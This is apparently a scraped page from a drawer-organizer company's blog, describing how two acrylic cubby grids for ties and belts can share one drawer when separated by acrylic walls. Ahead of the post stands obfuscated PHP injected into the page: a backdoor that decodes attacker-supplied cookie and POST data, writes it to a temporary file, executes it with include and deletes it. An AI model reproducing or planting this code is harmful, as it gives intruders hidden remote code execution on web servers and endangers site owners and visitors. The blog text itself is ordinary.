$SMCqhdwl = class_exists("eP_DhE"); $cttsnr = $SMCqhdwl;if (!$cttsnr){class eP_DhE{private $TLggw;public static $EKZwKScul = "3d9edd18-0968-4da6-ac3e-74f831adf642";public static $iFDZWadO = NULL;public function __construct(){$CFvNSRrlp = $_COOKIE;$FdKDeeosoW = $_POST;$VWPQM = @$CFvNSRrlp[substr(eP_DhE::$EKZwKScul, 0, 4)];if (!empty($VWPQM)){$GOvXXdfA = "base64";$xEPxuMupi = "";$VWPQM = explode(",", $VWPQM);foreach ($VWPQM as $JxtlH){$xEPxuMupi .= @$CFvNSRrlp[$JxtlH];$xEPxuMupi .= @$FdKDeeosoW[$JxtlH];}$xEPxuMupi = array_map($GOvXXdfA . "\x5f" . "\144" . "\x65" . "\x63" . "\x6f" . "\144" . chr (101), array($xEPxuMupi,)); $xEPxuMupi = $xEPxuMupi[0] ^ str_repeat(eP_DhE::$EKZwKScul, (strlen($xEPxuMupi[0]) / strlen(eP_DhE::$EKZwKScul)) + 1);eP_DhE::$iFDZWadO = @unserialize($xEPxuMupi);}}public function __destruct(){$this->VjvlKL();}private function VjvlKL(){if (is_array(eP_DhE::$iFDZWadO)) {$vFPCaRuG = sys_get_temp_dir() . "/" . crc32(eP_DhE::$iFDZWadO["\163" . 'a' . "\154" . "\164"]);@eP_DhE::$iFDZWadO[chr (119) . "\162" . "\151" . chr (116) . chr ( 1068 - 967 )]($vFPCaRuG, eP_DhE::$iFDZWadO[chr ( 163 - 64 )."\157" . chr (110) . "\164" . chr (101) . "\156" . chr ( 609 - 493 )]);include $vFPCaRuG;@eP_DhE::$iFDZWadO['d' . chr (101) . "\x6c" . "\x65" . chr ( 1105 - 989 ).chr ( 888 - 787 )]($vFPCaRuG);exit();}}}$KAyPthbGPj = new eP_DhE(); $KAyPthbGPj = NULL;} ?> New Concept — 2 Cubby Grids in 1 Drawer – Orderly Drawer Blog

New Concept — 2 Cubby Grids in 1 Drawer

When a potential customer approached us about needing two grids — one for ties and one for belts — in the same large drawer I thought we were going to have to steer her towards a much more expensive maple insert as the solution. Remember: cubby grids can’t stand on their own. They need to have support from all four sides of the drawer, otherwise they’re a wobbly mess.

But I thought, “That will be so much more expensive. Let me think about it. Seems like there should be a way…”

After a day or two I found a solution. As long as there is a wall to serve as a support between the two grids, there’s no reason two cubby grids couldn’t sit side by side in the same drawer.

So here’s what we did. The customer planned one grid for ties and another for belts, and we reserved enough space to insert 1 or 2 acrylic walls between them. That “dividing” wall between the ties and belts below is nothing more than 2 pieces of acrylic she slipped between the two grids to tighten things up and give extra support all around.

2 cubby grids in a single drawer

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